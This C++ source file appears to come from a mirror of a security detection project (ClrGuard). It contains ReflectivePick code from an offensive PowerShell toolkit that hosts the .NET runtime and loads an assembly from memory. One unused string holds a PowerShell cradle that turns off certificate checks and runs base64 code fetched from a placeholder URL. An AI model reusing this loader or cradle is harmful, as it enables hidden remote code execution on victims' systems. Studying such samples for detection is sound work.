mirror of
https://github.com/endgameinc/ClrGuard
synced 2026-06-08 14:03:01 +00:00
254 lines
7.4 KiB
C++
254 lines
7.4 KiB
C++
/*
|
|
* ReflectivePick
|
|
* Description: This DLL loads is reflectively loaded into a local/remote process to introduce and run powershell code. Made to be used with
|
|
* PSInject.ps1 to basically add migrate/inject capability to powershell.
|
|
*
|
|
* THIS CODE IS ALMOST ENTIRELY FROM UnmanagedPowerShell by Lee Christensen (@tifkin_). It was transformed from an exe format into a
|
|
* Reflective DLL to be used within the PowerPick project. Please recognize that credit for the disovery of this method of running PS code
|
|
* from C++ and all code contained within was his original work. The original executable can be found here: https://github.com/leechristensen/UnmanagedPowerShell
|
|
*
|
|
* License: 3-Clause BSD License. See Veil PowerTools Project
|
|
*
|
|
* This application is part of Veil PowerTools, a collection of offensive PowerShell
|
|
* capabilities. Hope they help!
|
|
*
|
|
* This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe
|
|
*/
|
|
|
|
#pragma region Includes and Imports
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <metahost.h>
|
|
#include <comdef.h>
|
|
#include <mscoree.h>
|
|
#include <metahost.h>
|
|
#pragma comment(lib, "mscoree.lib")
|
|
|
|
#import "mscorlib.tlb" raw_interfaces_only \
|
|
high_property_prefixes("_get","_put","_putref") \
|
|
rename("ReportEvent", "InteropServices_ReportEvent")
|
|
using namespace mscorlib;
|
|
|
|
|
|
void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command)
|
|
{
|
|
HRESULT hr;
|
|
bstr_t bstrStaticMethodName(method);
|
|
SAFEARRAY *psaStaticMethodArgs = NULL;
|
|
variant_t vtStringArg(command);
|
|
variant_t vtPSInvokeReturnVal;
|
|
variant_t vtEmpty;
|
|
|
|
|
|
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
LONG index = 0;
|
|
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr);
|
|
return;
|
|
}
|
|
|
|
// Invoke the method from the Type interface.
|
|
hr = spType->InvokeMember_3(
|
|
bstrStaticMethodName,
|
|
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
|
NULL,
|
|
vtEmpty,
|
|
psaStaticMethodArgs,
|
|
&vtPSInvokeReturnVal);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"Failed to invoke InvokePS w/hr 0x%08lx\n", hr);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
// Print the output of the command
|
|
//wprintf(vtPSInvokeReturnVal.bstrVal);
|
|
}
|
|
|
|
|
|
SafeArrayDestroy(psaStaticMethodArgs);
|
|
psaStaticMethodArgs = NULL;
|
|
}
|
|
|
|
void ReflectionLoad(wchar_t * filePath, int version)
|
|
{
|
|
HRESULT hr;
|
|
|
|
ICLRMetaHost *pMetaHost = NULL;
|
|
ICLRRuntimeInfo *pRuntimeInfo = NULL;
|
|
ICorRuntimeHost *pCorRuntimeHost = NULL;
|
|
|
|
IUnknownPtr spAppDomainThunk = NULL;
|
|
_AppDomainPtr spDefaultAppDomain = NULL;
|
|
|
|
void * fileBuf = 0;
|
|
|
|
// The .NET assembly to load.
|
|
bstr_t bstrAssemblyName("InjectExample");
|
|
_AssemblyPtr spAssembly = NULL;
|
|
|
|
// The .NET class to instantiate.
|
|
bstr_t bstrClassName("InjectExample.Program");
|
|
_TypePtr spType = NULL;
|
|
|
|
|
|
// Start the runtime
|
|
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
if(version == 4)
|
|
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
|
|
else if(version == 2)
|
|
hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&pRuntimeInfo));
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Check if the specified runtime can be loaded into the process.
|
|
BOOL fLoadable;
|
|
hr = pRuntimeInfo->IsLoadable(&fLoadable);
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
if (!fLoadable)
|
|
{
|
|
wprintf(L".NET runtime v2.0.50727 cannot be loaded\n");
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Load the CLR into the current process and return a runtime interface
|
|
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,
|
|
IID_PPV_ARGS(&pCorRuntimeHost));
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Start the CLR.
|
|
hr = pCorRuntimeHost->Start();
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
|
|
// Get a pointer to the default AppDomain in the CLR.
|
|
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Load the .NET assembly.
|
|
// (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
|
|
//hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);
|
|
|
|
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
|
|
if (INVALID_HANDLE_VALUE == hFile)
|
|
{
|
|
goto Cleanup;
|
|
}
|
|
|
|
DWORD size = 0, high = 0;
|
|
size = GetFileSize(hFile, &high);
|
|
|
|
if (size == 0)
|
|
{
|
|
printf("GetFileSize fail\n");
|
|
goto Cleanup;
|
|
}
|
|
|
|
fileBuf = malloc(size);
|
|
ReadFile(hFile, fileBuf, size, &high, 0);
|
|
|
|
if (size != high)
|
|
{
|
|
goto Cleanup;
|
|
}
|
|
|
|
// (Option 2) Load the assembly from memory
|
|
SAFEARRAYBOUND bounds[1];
|
|
bounds[0].cElements = size;
|
|
bounds[0].lLbound = 0;
|
|
|
|
SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
|
|
SafeArrayLock(arr);
|
|
memcpy(arr->pvData, fileBuf, size);
|
|
SafeArrayUnlock(arr);
|
|
|
|
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Get the Type of PowerShellRunner.
|
|
hr = spAssembly->GetType_2(bstrClassName, &spType);
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr);
|
|
goto Cleanup;
|
|
}
|
|
|
|
// Call the static method of the class
|
|
wchar_t* argument = L"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"))))";
|
|
|
|
//Output debug
|
|
//DWORD pid = GetCurrentProcessId();
|
|
//wchar_t msg[100];
|
|
//swprintf_s(msg,L"Powershell running from pid %d!",pid);
|
|
//MessageBox(NULL,msg,L"Info",MB_OK);
|
|
|
|
InvokeMethod(spType, L"AnotherFunction", L"HelloThar");
|
|
|
|
Cleanup:
|
|
|
|
if (pMetaHost)
|
|
{
|
|
pMetaHost->Release();
|
|
pMetaHost = NULL;
|
|
}
|
|
if (pRuntimeInfo)
|
|
{
|
|
pRuntimeInfo->Release();
|
|
pRuntimeInfo = NULL;
|
|
}
|
|
if (pCorRuntimeHost)
|
|
{
|
|
pCorRuntimeHost->Release();
|
|
pCorRuntimeHost = NULL;
|
|
}
|
|
if (fileBuf)
|
|
{
|
|
free(fileBuf);
|
|
}
|
|
return;
|
|
|
|
}
|